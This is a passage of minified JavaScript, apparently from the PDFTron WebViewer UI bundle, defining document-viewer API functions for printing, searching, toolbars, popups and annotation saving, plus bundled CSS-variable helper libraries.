z2={FitPage:"FitPage",FitWidth:"FitWidth",Zoom:"Zoom"},U2={VIEW:"toolbarGroup-View",ANNOTATE:"toolbarGroup-Annotate",SHAPES:"toolbarGroup-Shapes",INSERT:"toolbarGroup-Insert",MEASURE:"toolbarGroup-Measure",EDIT:"toolbarGroup-Edit",FILL_AND_SIGN:"toolbarGroup-FillAndSign",FORMS:"toolbarGroup-Forms"},G2={EMAILS:"emails",CREDIT_CARDS:"creditCards",PHONE_NUMBERS:"phoneNumbers"};function W2(e){var t;t=e,Nj.push(t)}var q2=function(e){return function(t){t.name?(!function(e){var t=e.name,n=e.getSortedNotes,r=e.shouldRenderSeparator,o=e.getSeparatorContent;tc[t]={getSortedNotes:n,shouldRenderSeparator:r,getSeparatorContent:o}}(t),e.dispatch(Ps.setNotesPanelSortStrategy(t.name))):console.warn('The argument for addSortStrategy must have a "name" property, see https://www.pdftron.com/documentation/web/guides/ui/apis#addsortstrategy')}};function Z2(e){return function(e){if(Array.isArray(e))return Y2(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Y2(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Y2(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Y2(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var $2=function(e,t){return Object.create(K2).initialize(e,t)},K2={initialize:function(e,t){return this.store=e,this.popupDataElement=t,this},add:function(e,t){Array.isArray(e)||(e=[e]);var n=this._getIndexByDataElement(t),r=this.getItems();return r.splice.apply(r,[n+1,0].concat(Z2(e))),this.store.dispatch(Ps.setPopupItems(this.popupDataElement,r)),this},update:function(e){return e||(e=[]),this.store.dispatch(Ps.setPopupItems(this.popupDataElement,e)),this},getItems:function(){return Z2(fi.getPopupItems(this.store.getState(),this.popupDataElement))},_getIndexByDataElement:function(e){var t;if(void 0===e)t=-1;else{var n=this.store.getState();t=fi.getPopupItems(n,this.popupDataElement).findIndex((function(t){return t.dataElement===e}))}return t}},X2=function(e){return $2(e,"annotationPopup")},Q2=function(e){return Array.isArray(e)||(e=[e]),e},J2=function(e){return function(t){var n=Q2(t);e.dispatch(Ps.closeElements(n))}},e4=function(e){return $2(e,"contextMenuPopup")},t4=function(e){return function(){jh(e)([Wp.Annotations])}},n4=function(e){return function(){jh(e)([Wp.Download])}},r4=function(e){return function(t){e.dispatch(Ps.disableElement(t,3))}},o4=function(e){return function(){e.dispatch(Ps.disableElements(["filePickerHandler","filePickerButton"],1))}},i4=function(e){return function(){e.dispatch(Ps.setHighContrastMode(!1))}},a4=function(e){return function(){jh(e)([Wp.LocalStorage])}},l4=function(e){return function(){jh(e)([Wp.Measurement])}},s4=function(){Gp.useNativeScroll=!1},u4=function(e){return function(){jh(e)([Wp.NotesPanel])}},c4=function(e){return function(){e.dispatch(Ps.setNoteSubmissionEnabledWithEnter(!1))}},f4=function(e){return function(){jh(e)([Wp.Print])}},d4=function(e){return function(){jh(e)([Wp.Redaction])}},p4=function(e){return function(){jh(e)([Wp.TextSelection])}},h4=function(e){return function(t){$p(e)([t])}},m4=function(e){return function(){jh(e)([Wp.TouchScrollLock])}},g4=function(e){return function(t){e.dispatch(Ps.showErrorMessage(t))}};function v4(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function y4(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){v4(i,r,o,a,l,"next",e)}function l(e){v4(i,r,o,a,l,"throw",e)}a(void 0)}))}}var b4=function(e){return y4(regeneratorRuntime.mark((function t(){var n,r,o,i,a,l,s=arguments;return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(r=s.length>0&&void 0!==s[0]?s[0]:{includeAnnotations:!0},o=null===(n=vt.getDocument())||void 0===n?void 0:n.getType(),i=Wu,a=Uu,l=Vu,o===zu||o===l||o===a||o===i){t.next=6;break}return console.warn("Document type is not PDF. Cannot be downloaded."),t.abrupt("return",Promise.reject());case 6:return"boolean"==typeof r&&(r={includeAnnotations:r}),t.abrupt("return",Wh(e.dispatch,r));case 8:case"end":return t.stop()}}),t)})))},w4=function(e){return function(){e.dispatch(Ps.enableAllElements())}},E4=function(e){return function(){Rh(e)([Wp.Annotations])}},S4=function(e){return function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];t?Rh(e)([Wp.Download]):jh(e)([Wp.Download])}},C4=function(e){return function(t){e.dispatch(Ps.enableElement(t,3))}},x4=function(e){return function(){e.dispatch(Ps.setHighContrastMode(!0))}},O4=function(e){return function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];t?Rh(e)([Wp.FilePicker]):jh(e)([Wp.FilePicker])}},A4=function(e){return function(){Rh(e)([Wp.LocalStorage])}},_4=function(e){return function(){Rh(e)([Wp.Measurement])}},T4=function(){Gp.useNativeScroll=!0},k4=function(e){return function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];t?Rh(e)([Wp.NotesPanel]):jh(e)([Wp.NotesPanel])}},P4=function(e){return function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];t?Rh(e)([Wp.Print]):jh(e)([Wp.Print])}},M4=function(e){return function(){Rh(e)([Wp.Redaction])}},R4=function(e){return function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];t?Rh(e)([Wp.TextSelection]):jh(e)([Wp.TextSelection])}},j4=function(e){return function(t){Yp(e)([t])}},L4=function(e){return function(){Rh(e)([Wp.TouchScrollLock])}},I4=function(e){return Ix(e)},N4=function(e){return function(t){var n=vt.getAnnotationById(t);e.dispatch(Ps.openElement("notesPanel")),vt.selectAnnotation(n)}},D4=function(){return vt.getCurrentUser()},F4=function(){if(console.warn("Deprecated and will be removed in version 9.0"),!window.bbAnnotManager){var e=lh("webviewerServerURL","");window.bbAnnotManager=new window.Core.BlackBoxAnnotationManager(e,window.documentViewer)}return window.bbAnnotManager},B4=function(e){return function(){return fi.getCurrentPage(e.getState())}},H4=function(e){return function(){return fi.getFitMode(e.getState())}},V4=function(e){return function(){return fi.getDisplayMode(e.getState())}},z4=function(e){return function(){return fi.getTotalPages(e.getState())}},U4=function(e){return function(){return console.warn("UI.getSelectedThumbnailPageNumbers is deprecated since version 8.5. Please use UI.ThumbnailsPanel.getSelectedPageNumbers instead"),fi.getSelectedThumbnailPageIndexes(e.getState()).map((function(e){return e+1}))}},G4=function(e){return W4(e)},W4=function(e){return Object.keys(fi).reduce((function(t,n){return t[n]=function(){for(var t=e.getState(),r=arguments.length,o=new Array(r),i=0;i<r;i++)o[i]=arguments[i];return fi[n].apply(fi,[t].concat(o))},t}),{})},q4=function(e){return function(){return!!fi.isElementOpen(e.getState(),"leftPanel")}},Z4=function(e){return function(){return q4(e)()}},Y4=function(){return vt.getToolMode()},$4=function(){return vt.getZoom()},K4=function(){return Qt()},X4=function(){return Xt()},Q4=function(e){return function(){return console.warn("Deprecated since version 8.0. Please use isHighContrastModeEnabled Instead"),fi.getIsHighContrastMode(e.getState())}},J4=function(){vt.setCurrentPage(1)},e3=function(e){return function(){vt.setCurrentPage(fi.getTotalPages(e.getState()))}},t3=function(e){return function(){var t=e.getState(),n=fi.getCurrentPage(t);if(n===fi.getTotalPages(t))console.warn("you are at the last page");else{var r=n+1;vt.setCurrentPage(r)}}},n3=function(e){return function(){var t=fi.getCurrentPage(e.getState());if(1===t)console.warn("You are at the first page");else{var n=t-1;vt.setCurrentPage(n)}}},r3=function(e){return function(){e.dispatch(Ps.setOutlineControlVisibility(!1))}},o3=function(){return!!vt.getIsAdminUser()},i3=function(e){return function(t){return!!fi.isElementDisabled(e.getState(),t)}},a3=function(e){return function(t){return!!fi.isElementOpen(e.getState(),t)}},l3=function(e){return function(){return fi.getIsHighContrastMode(e.getState())}},s3=function(){return console.warn("instance.isMobileDevice is deprecated, please check https://stackoverflow.com/questions/3514784/what-is-the-best-way-to-detect-a-mobile-device for an alternative. The deprecated API will be removed in 7.0."),!(u3()||!(0===c3()&&navigator.userAgent.match(/Edge/i)||navigator.userAgent.match(/Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)||navigator.userAgent.match(/iPad/i)||navigator.userAgent.match(/Touch/i)||navigator.userAgent.match(/IEMobile/i)||navigator.userAgent.match(/Silk/i)))},u3=function(){var e=navigator.userAgent.toLowerCase(),t=/(msie) ([\w.]+)/.exec(e)||/(trident)(?:.*? rv:([\w.]+)|)/.exec(e);return t?parseInt(t[2],10):t},c3=function(){var e=document.createElement("div");e.style.cssText="width:100px;height:100px;overflow:scroll !important;position:absolute;top:-9999px",document.body.appendChild(e);var t=e.offsetWidth-e.clientWidth;return document.body.removeChild(e),t},f3=function(){return!!vt.getIsReadOnly()},d3=function(e){return function(t){var n=e.getState(),r=fi.getToolButtonDataElement(n,t);return fi.isElementDisabled(n,r)}},p3=function(){return qh()},h3=function(e){return function(t,n){dh(e.dispatch,t,n)}};function m3(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return g3(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return g3(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}function g3(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var v3=function(e){return CP.initialize(e,vt.getAnnotationManager()),y3(CP,["setUserData","getUserData","setAllowedTrailingCharacters","getAllowedTrailingCharacters","on","one","off","trigger","addEventListener","setEventListener","removeEventListener","setMentionLookupCallback","getMentionLookupCallback"])},y3=function(e,t){var n,r={},o=m3(t);try{var i=function(){var t=n.value;r[t]=function(){return e[t].apply(e,arguments)}};for(o.s();!(n=o.n()).done;)i()}catch(e){o.e(e)}finally{o.f()}return r};function b3(e){return function(e){if(Array.isArray(e))return w3(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return w3(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return w3(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function w3(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var E3=function(e){return Object.create(S3).initialize(e)},S3={initialize:function(e){return this.store=e,this},add:function(e,t){Array.isArray(e)||(e=[e]);var n=this._getIndexByDataElement(t),r=this.getItems();return r.splice.apply(r,[n+1,0].concat(b3(e))),this.store.dispatch(Ps.setMenuOverlayItems(r)),this},update:function(e){return e||(e=[]),this.store.dispatch(Ps.setMenuOverlayItems(e)),this},getItems:function(){return b3(fi.getMenuOverlayItems(this.store.getState()))},_getIndexByDataElement:function(e){var t;if(void 0===e)t=-1;else{var n=this.store.getState();t=fi.getMenuOverlayItems(n).findIndex((function(t){return t.dataElement===e}))}return t}},C3=function(e){return function(t){e.dispatch(Ps.openElement(t))}},x3=function(e){return function(t){e.dispatch(Ps.openElements(t))}},O3=function(e){return function(){hc(e.dispatch,fi.isEmbedPrintSupported(e.getState()),fi.getSortStrategy(e.getState()),fi.getColorMap(e.getState()))}};function A3(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function _3(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?A3(Object(n),!0).forEach((function(t){T3(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):A3(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function T3(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var k3=function(e){return function(t){var n=_3(_3(_3({},{includeAnnotations:!1,includeComments:!1,maintainPageOrientation:!1}),t),{},{printWithoutModal:!0,printQuality:fi.getPrintQuality(e.getState()),printedNoteDateFormat:fi.getPrintedNoteDateFormat(e.getState())}),r=n.pagesToPrint;r&&0===r.length?console.warn('No pages to be printed were found in the "pagesToPrint" array provided. If you want to print all pages, please set this to undefined or null.'):hc(e.dispatch,fi.isEmbedPrintSupported(e.getState()),fi.getSortStrategy(e.getState()),fi.getColorMap(e.getState()),n)}},P3=function(){var e;e=vt.getDocument(),dc.forEach((function(t){return e.cancelLoadCanvas(t)}))},M3=function(e){return function(t,n,r){j3(t),R3(e,t),function(e,t,n){var r=e.toolName,o=e.buttonImage,i=e.toolObject,a=r,l=["TextColor","StrokeColor","FillColor"].filter((function(e){return i.defaults&&i.defaults[e]}));oc[a]={icon:o,iconColor:l[0],currentPalette:l[0],availablePalettes:l,toolNames:[r],annotationCheck:n?function(e){return n(e)}:t?function(e){return e instanceof t}:null}}(t,n,r),L3(e),y1(t.toolName)}},R3=function(e,t){e.dispatch(Ps.registerTool(t))},j3=function(e){var t=e.toolObject,n=e.toolName,r=vt.getToolModeMap();r[n]=t,r[n].name=n},L3=function(e){e.dispatch(Ps.setColorMap(lc("iconColor","currentPalette")))};function I3(e){var t;t=e,Nj=Nj.filter((function(e){return e!==t}))}var N3=function(){vt.rotateClockwise()},D3=function(){vt.rotateCounterClockwise()};function F3(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function B3(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?F3(Object(n),!0).forEach((function(t){H3(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):F3(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function H3(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var V3=function(e){return function(){return new Promise((function(t,n){var r=e.getState(),o=r.document.id,i=r.advanced,a=i.serverUrl,l=i.serverUrlHeaders,s=o?{did:o}:{};if(!a)return console.warn("serverUrl option is not defined. Please pass this option in WebViewer constructor to save/load annotations. See https://www.pdftron.com/documentation/web/guides/annotations/saving-loading-annotations for details."),void n();vt.exportAnnotations((function(e){fetch(a,{method:"POST",headers:l,body:B3(B3({},s),{},{data:e}),credentials:"include"}).then((function(e){e.ok?t():n(e)})).catch(n)}))}))}};function z3(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function U3(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?z3(Object(n),!0).forEach((function(t){G3(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):z3(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function G3(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function W3(e){return function(t,n){var r={};"string"==typeof n?n.split(",").forEach((function(e){r[q3(e)]=!0})):r=U3({},n);var o=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=vt.getSearchMode(),n=t.PAGE_STOP|t.HIGHLIGHT;return e.caseSensitive&&(n|=t.CASE_SENSITIVE),e.wholeWord&&(n|=t.WHOLE_WORD),e.wildcard&&(n|=t.WILD_CARD),e.regex&&(n|=t.REGEX),e.searchUp&&(n|=t.SEARCH_UP),e.ambientString&&(n|=t.AMBIENT_STRING),n}(r);e&&(e(Ps.openElement("searchPanel")),e(Ps.searchText(t,r)));var i={fullSearch:!1,onResult:function(e){vt.displaySearchResult(e),vt.setActiveSearchResult(e);var n=U3({caseSensitive:!1,wholeWord:!1,wildcard:!1,regex:!1,searchUp:!1,ambientString:!1},r);(Dj()||[]).forEach((function(r){try{r(t,n,[e])}catch(e){console.error(e)}}))},onDocumentEnd:function(){vt.getDocumentViewer().trigger("endOfDocumentResult",!0)},onError:function(e){console.error(e)}};vt.textSearchInit(t,o,i)}}var q3=function(e){return"".concat(e.charAt(0).toLowerCase()).concat(e.slice(1))},Z3=function(e){return function(t){e.dispatch(Ps.setWv3dPropertiesPanelModelData(t))}},Y3=function(e){return function(t){e.dispatch(Ps.setWv3dPropertiesPanelSchema(t))}},$3=function(e){return function(t){e.dispatch(Ps.setActiveHeaderGroup(t))}},K3=function(e){return function(t){e.dispatch(Ps.setActiveLeftPanel(t))}},X3=function(e){vt.setIsAdminUser(e)},Q3=function(e){vt.setCurrentUser(e)},J3={border:"StrokeColor",fill:"FillColor",text:"TextColor"},e5={StrokeColor:"border",FillColor:"fill",TextColor:"text"},t5=function(e){return function(t,n){var r=sc(ic(t)).availablePalettes,o=J3[n];r.includes(o)?e.dispatch(Ps.setActivePalette(ic(t),o)):console.warn("".concat(t," does not have ").concat(n," color, available colors are: ").concat(r.map((function(e){return e5[e]})).join(", ")," "))}};function n5(e){return(n5="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function r5(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o5(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var i5=function(e){return function(t){var n=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?r5(Object(n),!0).forEach((function(t){o5(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):r5(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},fi.getCustomElementOverrides(e.getState(),"colorPalette")||{});if(Array.isArray(t)){if(!t.every(a5))return console.warn("An array is passed to setColorPalette, but some colors are invalid. A color must be 'transparency' or a hex color string. For example #F0F0F0");n.global=t}else if("object"===n5(t)){if(!t.toolNames||!t.colors)return console.warn("An object is passed to setColorPalette, but it doesn't have a toolNames or colors property.");t.toolNames.forEach((function(e){var r=ic(e);n[r]=t.colors}))}e.dispatch(Ps.setCustomElementOverrides("colorPalette",n))}},a5=function(e){return"transparency"===e||e.startsWith("#")&&6===e.split("#")[1].length},l5=function(e){return function(t){if(Array.isArray(t)&&!t.every(s5))return console.warn("An array is passed to setPageReplacementModalFileList is invalid");e.dispatch(Ps.setPageReplacementModalFileList(t))}},s5=function(e){return Object.prototype.hasOwnProperty.call(e,"id")||Object.prototype.hasOwnProperty.call(e,"filename")||Object.prototype.hasOwnProperty.call(e,"onSelect")||"function"==typeof e.onSelect},u5=function(e){return function(t){console.warn("'useHighContrastMode' is deprecated since version 8.0. Use enableHighContrastMode or disableHighContrastMode Instead"),e.dispatch(Ps.setHighContrastMode(t))}},c5=function(e){vt.setCurrentPage(e)};function f5(e){return function(t){e.dispatch(Ps.addCustomModal(t))}}function d5(e){return console.warn("'setCustomModal' deprecated since version 8.5. Please use UI.addCustomModal instead"),f5(e)}var p5=function(e){return function(t){e.dispatch(Ps.setCustomNoteFilter(t))}},h5=function(e){return function(t){e.dispatch(Ps.setCustomPanel(t))}},m5=function(e){return function(){return fi.getBookmarks(e.getState())}},g5=function(e){return function(t){e.dispatch(Ps.setBookmarks(t))}};function v5(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var y5=function(e){var t,n=(v5(t={},z2.FitWidth,vt.fitToWidth),v5(t,z2.FitPage,vt.fitToPage),v5(t,z2.Zoom,vt.fitToZoom),t)[e];n?n():console.warn("Unsupported fit mode: ".concat(e))};function b5(e){return function(e){if(Array.isArray(e))return w5(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return w5(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return w5(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function w5(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var E5=function(e){return function(t){var n=e.getState(),r=Object.keys(n.viewer.headers),o=Object.create(S5).initialize(n.viewer,r);t(o),r.forEach((function(t){e.dispatch(Ps.setHeaderItems(t,b5(o.headers[t])))}))}},S5={initialize:function(e){return this.headers=e.headers,this.toolButtonObjects=e.toolButtonObjects,this.headerGroup="default",this.index=-1,this},get:function(e){var t=this;if(-1!==this.index){var n=this.headers[this.headerGroup][this.index];Object.keys(n).forEach((function(e){delete t[e]}))}if(this._setIndex(e),-1===this.index)console.warn("".concat(e," does not exist in ").concat(this.headerGroup," header"));else{var r=this.headers[this.headerGroup][this.index];Object.keys(r).forEach((function(e){t[e]=r[e]}))}return this},getItems:function(){return this.headers[this.headerGroup]},getHeader:function(e){var t=Object.keys(this.headers);return t.includes(e)?(this.headerGroup=e,this._resetIndex()):console.warn("Header must be one of: ".concat(t.join(" or "),".")),this},insertBefore:function(e){return-1===this.index?console.warn("Please use .get(dataElement) first before using insertBefore"):this.headers[this.headerGroup].splice(this.index,0,e),this},insertAfter:function(e){return-1===this.index?console.warn("Please use .get(dataElement) first before using insertAfter"):(this.index++,this.headers[this.headerGroup].splice(this.index,0,e)),this},delete:function(e){var t,n=this;"number"==typeof e?t=e:"string"==typeof e?-1===this._getIndexOfElement(e)?console.warn("".concat(e," does not exist in ").concat(this.headerGroup," header")):t=this._getIndexOfElement(e):void 0===e?-1===this.index?console.warn("Please use .get(dataElement) first before using delete()"):t=this.index:Array.isArray(e)?e.forEach((function(e){"number"!=typeof e&&"string"!=typeof e||n.delete(e)})):console.warn("Argument must be empty, a number, a string or an array"),t&&(this.headers[this.headerGroup].splice(t,1),this._resetIndex())},shift:function(){return this.headers[this.headerGroup].shift(),this},unshift:function(){var e;return(e=this.headers[this.headerGroup]).unshift.apply(e,arguments),this},push:function(){var e;return(e=this.headers[this.headerGroup]).push.apply(e,arguments),this},pop:function(){return this.headers[this.headerGroup].pop(),this},update:function(e){return Array.isArray(e)?this._updateItems(e):console.warn("Argument must be an array"),this},_updateItems:function(e){return this.headers[this.headerGroup]=e,this},_setIndex:function(e){this.index=this._getIndexOfElement(e)},_getIndexOfElement:function(e){var t=this;return this.headers[this.headerGroup].findIndex((function(n){return("toolButton"===n.type?t.toolButtonObjects[n.toolName].dataElement:n.dataElement)===e}))},_resetIndex:function(){this.index=-1}},C5=function(e){return function(t,n){var r=sc(ic(t)).availablePalettes,o=J3[n];r.includes(o)?e.dispatch(Ps.setIconColor(ic(t),o)):console.warn("".concat(t," does not have ").concat(n," color, available colors are: ").concat(r.map((function(e){return e5[e]})).join(", ")," "))}},x5=function(e,t){st.on("loaded",(function(){st.addResources(e,"translation",t)})),st.reloadResources([e])},O5=function(e){vt.setDisplayMode(e)},A5=function(e){return Pw(e.dispatch)},_5=function(e){return function(t){var n=kw(t);if(n){var r=Qt(),o=Yt.filter((function(e){return e<=r&&e>=n}));$t(n),e.dispatch(Ps.setZoomList(o)),window.Core.Tools.MarqueeZoomTool.setMinZoomLevel(n)}else console.warn("Type of the argument for setMinZoomLevel must be either string or number")}},T5=function(e){return function(t){e.dispatch(Ps.setNoteDateFormat(t))}},k5=function(e){return function(t){e.dispatch(Ps.setPrintedNoteDateFormat(t))}},P5=function(e){return function(t){q2(e)(t)}},M5=function(e){return function(t){e.dispatch(Ps.setPageLabels(t))}},R5=function(e){return function(t){if(t<=0)throw Error("Value must be a positive number");e.dispatch(Ps.setPrintQuality(t))}};function j5(e){return(j5="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var L5=function(e){return function(t){if("object"!==j5(t)||void 0===t||0!==Object.keys(t).filter((function(e){return"includeComments"!==e&&"includeAnnotations"!==e&&"maintainPageOrientation"!==e})).length||0!==Object.values(t).filter((function(e){return!0!==e&&!1!==e})).length)throw Error("Invalid options provided");e.dispatch(Ps.setDefaultPrintOptions(t))}},I5=function(e){return function(t,n){e.dispatch(Ps.setSelectedTab(t,n))}},N5=function(e){return function(t){t?e.dispatch(Ps.openElement("leftPanel")):e.dispatch(Ps.closeElement("leftPanel"))}},D5=function(e){return function(t){e.dispatch(Ps.setSortNotesBy(t))}},F5=function(e){return function(t){if(!t)throw new Error("Unsupported sort strategy.");e.dispatch(Ps.setNotesPanelSortStrategy(t))}},B5=function(e){"both"===e?(Gp.allowVerticalSwipe=!0,Gp.allowHorizontalSwipe=!0):"vertical"===e?(Gp.allowVerticalSwipe=!0,Gp.allowHorizontalSwipe=!1):"horizontal"===e?(Gp.allowVerticalSwipe=!1,Gp.allowHorizontalSwipe=!0):console.warn("".concat(e," is not a valid orientation. Try 'vertical,' 'horizontal,' or 'both."))},H5=n(326),V5=n.n(H5),z5=function(e,t){var n=V5.a.parse(e,{from:t.from,parser:t.parser}),r={};return n.walkRules((function(e){(function(e){return 1!==e.selectors.length||":root"!==e.selectors[0]||"root"!==e.parent.type})(e)||e.each((function(e){if(function(e){return Boolean(e.value)&&e.prop.startsWith("--")}(e)){var t=e.prop.slice(2);r[t]=e.value}}))})),r};
/*!
* css-vars-ponyfill
* v2.4.7
* https://jhildenbiddle.github.io/css-vars-ponyfill/
* (c) 2018-2021 John Hildenbiddle <http://hildenbiddle.com>
* MIT license
*/
function U5(){return(U5=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}
/*!
* get-css-data
* v2.0.2
* https://github.com/jhildenbiddle/get-css-data
* (c) 2018-2021 John Hildenbiddle <http://hildenbiddle.com>
* MIT license
*/function G5(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={mimeType:t.mimeType||null,onBeforeSend:t.onBeforeSend||Function.prototype,onSuccess:t.onSuccess||Function.prototype,onError:t.onError||Function.prototype,onComplete:t.onComplete||Function.prototype},r=Array.isArray(e)?e:[e],o=Array.apply(null,Array(r.length)).map((function(e){return null}));function i(e){var t="string"==typeof e,n=t&&"<"===e.trim().charAt(0);return t&&!n}function a(e,t){n.onError(e,r[t],t)}function l(e,t){var i=n.onSuccess(e,r[t],t);e=!1===i?"":i||e,o[t]=e,-1===o.indexOf(null)&&n.onComplete(o)}var s=document.createElement("a");r.forEach((function(e,t){if(s.setAttribute("href",e),s.href=String(s.href),Boolean(document.all&&!window.atob)&&s.host.split(":")[0]!==location.host.split(":")[0]){if(s.protocol===location.protocol){var r=new XDomainRequest;r.open("GET",e),r.timeout=0,r.onprogress=Function.prototype,r.ontimeout=Function.prototype,r.onload=function(){var e=r.responseText;i(e)?l(e,t):a(r,t)},r.onerror=function(e){a(r,t)},setTimeout((function(){r.send()}),0)}else console.warn("Internet Explorer 9 Cross-Origin (CORS) requests must use the same protocol (".concat(e,")")),a(null,t)}else{var o=new XMLHttpRequest;o.open("GET",e),n.mimeType&&o.overrideMimeType&&o.overrideMimeType(n.mimeType),n.onBeforeSend(o,e,t),o.onreadystatechange=function(){if(4===o.readyState){var e=o.responseText;o.status<400&&i(e)||0===o.status&&i(e)?l(e,t):a(o,t)}},o.send()}}))}
/**
